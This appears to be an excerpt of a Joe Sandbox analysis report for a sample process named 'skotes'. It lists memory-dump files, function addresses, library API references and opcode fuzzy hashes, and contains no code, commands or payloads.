Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9ef66f4e3622e95fd3691c7ec03b5635d496732e6b1f2f6dd2b092a191a12388
Instruction ID: f21f38c61ddce5a94c9443037ea0174ec15676f32367d6c2f5dff588622c2afd
Opcode Fuzzy Hash: 9ef66f4e3622e95fd3691c7ec03b5635d496732e6b1f2f6dd2b092a191a12388
Instruction Fuzzy Hash: 13F05E33656225A6EB216AB69C05BDB7B7DDFC6770B19C521AD0CA7181DA20E80086E2

Function 00956C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00956CF5

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b846d2479befb8f6dae91737359945e58dcd1e86943d2233b983aba54220f5eb
Instruction ID: dfa63495d29c7f22a29f9d40594ff863695afe747df1f68b8fa97e234b52a8ad
Opcode Fuzzy Hash: b846d2479befb8f6dae91737359945e58dcd1e86943d2233b983aba54220f5eb
Instruction Fuzzy Hash: BCF08171A14614ABC601BBAD9D02B1EBB74AB87B65F800658EC21672D2EA345A0447D2

Function 051B06BB Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f73f9037fe0f0b30a0463a77325332e5295479157e573a806b4edd1cbe0c28
Instruction ID: f20911b744fbf2922f0997b6d5bb104baaf6c8d271b279f1268e7c681962f39e
Opcode Fuzzy Hash: a9f73f9037fe0f0b30a0463a77325332e5295479157e573a806b4edd1cbe0c28
Instruction Fuzzy Hash: 7E6105EB64D261BD712AD4526B5C9FBAB6FE5CB730332842AF847C6502E3C40F4A4171

Function 051B05FE Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ac5efc33ffa169650d3f8bc993aa79992ce1fdeb412f6d272979544be0eddc8
Instruction ID: 1024a97d8a8777180f3e4730f5be2fbdb82a9a4f62af1b2e6a1c19d1e04ae12d
Opcode Fuzzy Hash: 6ac5efc33ffa169650d3f8bc993aa79992ce1fdeb412f6d272979544be0eddc8
Instruction Fuzzy Hash: 2C0192AB04C115BD712ADA435A1CDFB6B6FF2DA330773842AF443C0002E3D58A499574

Function 051B0607 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17ec588299e125eb30b628edfaf08b9756dda1559ab2d0f44955ac41e7e1001
Instruction ID: 0ef938612c20ea149b8100dea1ab1dafe882bd8940d42c7465ab0568b845ac38
Opcode Fuzzy Hash: f17ec588299e125eb30b628edfaf08b9756dda1559ab2d0f44955ac41e7e1001
Instruction Fuzzy Hash: 41018FAB04C115BE712ADA836A1CDFB6B6FF2DA330773842AF447C4002E3D58A499175

Function 051B0624 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08d2334d906d030e0489d118d02b1e62f0f6e16033c7f563062d226e3a5fc92c
Instruction ID: 82f65672728b9b24b53619c8d77414d458ba5e0f4460e2a45a144fa6d9abd8ca
Opcode Fuzzy Hash: 08d2334d906d030e0489d118d02b1e62f0f6e16033c7f563062d226e3a5fc92c
Instruction Fuzzy Hash: C001B1AB04C151AEB216DA969A18AFB7F7AB6DA330732442AF442D6002E3D58A499131

Function 051B0614 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249021979b765e84280983d5e304ee060a9110a5596b71161fc53718a427c000
Instruction ID: a000b2852109cb63f0b10856e3502f0b606cac5c849ba9edcb77dc5044e9d010
Opcode Fuzzy Hash: 249021979b765e84280983d5e304ee060a9110a5596b71161fc53718a427c000
Instruction Fuzzy Hash: 6101A2AB14C101BD722ADA836A1C9F76B3FF2DA730773842AF403D4401E3D58A499034

Function 051B064B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fb529a6305c9079c5dc7ad4a8715739fb738565d79459781379ba47514257b2
Instruction ID: 6ab56b314437afd26d6eab0eb37fe3e570d2523def56262248e37e75959e5e35
Opcode Fuzzy Hash: 8fb529a6305c9079c5dc7ad4a8715739fb738565d79459781379ba47514257b2
Instruction Fuzzy Hash: 94F0C2B710C241EFB226DF5399189F73F66EADA330773449BF48289001E3A58A59C631

Function 051B0669 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84070f5ac36591640aa9d611b8a5012cc1f93bf4b6ddb7e7393de5b3fb7bc89b
Instruction ID: 211311b31f63ea6e7ebdc22b28a12d90138ab1063369f0c785025d654f1dfe18
Opcode Fuzzy Hash: 84070f5ac36591640aa9d611b8a5012cc1f93bf4b6ddb7e7393de5b3fb7bc89b
Instruction Fuzzy Hash: E9F024AB40C202ADB225E993AA4CEF7276BF1DA330773081BF0A285041F3C58E468571

Function 051B0682 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f22be241eec1ba6aad69229ec1303c19c434733fe8457908d16505d03b74b8bd
Instruction ID: 0552b4b4f8698e2af2cc9998d2ab1dedcc3d59b2e2c6d1241cd3f99a89c8c0bc
Opcode Fuzzy Hash: f22be241eec1ba6aad69229ec1303c19c434733fe8457908d16505d03b74b8bd
Instruction Fuzzy Hash: ECE02BAB14C102AE7115E9935A0CDFB2A6BF1DA7307B3482AF482C4001F3C4CE468471

Function 051B069B Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cf5a7c84934b76fb88d5031b689abb49098cf2a94abdb86a8819be8f7777e97
Instruction ID: 15fb2a3da20f544402a8375149ebc7339cc7687a6ae86b30f81e6c9cca89202b
Opcode Fuzzy Hash: 4cf5a7c84934b76fb88d5031b689abb49098cf2a94abdb86a8819be8f7777e97
Instruction Fuzzy Hash: 04E04FAB14D111AE7126F5C3665D9FBA767A6DA731773482BF042C4001E3C58A499531

Function 051B06A7 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2706291848.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a17b2f5559b371f0dd7bedfbb28f954004b4eb59b8ce8eca1963aa62a9d66d
Instruction ID: c070fd3949f82e94ffc132d77897c1d2241e2cf95dc007da3cd521b5b7425f99
Opcode Fuzzy Hash: c9a17b2f5559b371f0dd7bedfbb28f954004b4eb59b8ce8eca1963aa62a9d66d
Instruction Fuzzy Hash: 90E0CDBB14C1006E7117FAC2564C8BB75A7B6E6731773442BF442C0001F3D48A089531

Non-executed Functions

Function 00960E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00960F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00960F62

Part of subcall function 0096265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00962750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00960FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00960FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0096103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0096106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009610C1

Strings

(, xrefs: 00960F22

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 40897a237ebdab456e6876667f42dc07705b8e79d18c5a920f758970cc68c915
Instruction ID: 59a0bde50747e60d805ae1e4800fbc4d7e1ef450eeb581c16e5960dc67326118
Opcode Fuzzy Hash: 40897a237ebdab456e6876667f42dc07705b8e79d18c5a920f758970cc68c915
Instruction Fuzzy Hash: B3B18E70A04615EFDB28CF58D990B7EB7B8FF85301F15416EE905AB291D730AD81CBA0

Function 00961602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00962CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00962D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00961614

Part of subcall function 00962E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00962E39
Part of subcall function 00962E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00962EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00961746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009617A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009617B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 009617ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0096180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0096181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00961823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0096183B

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
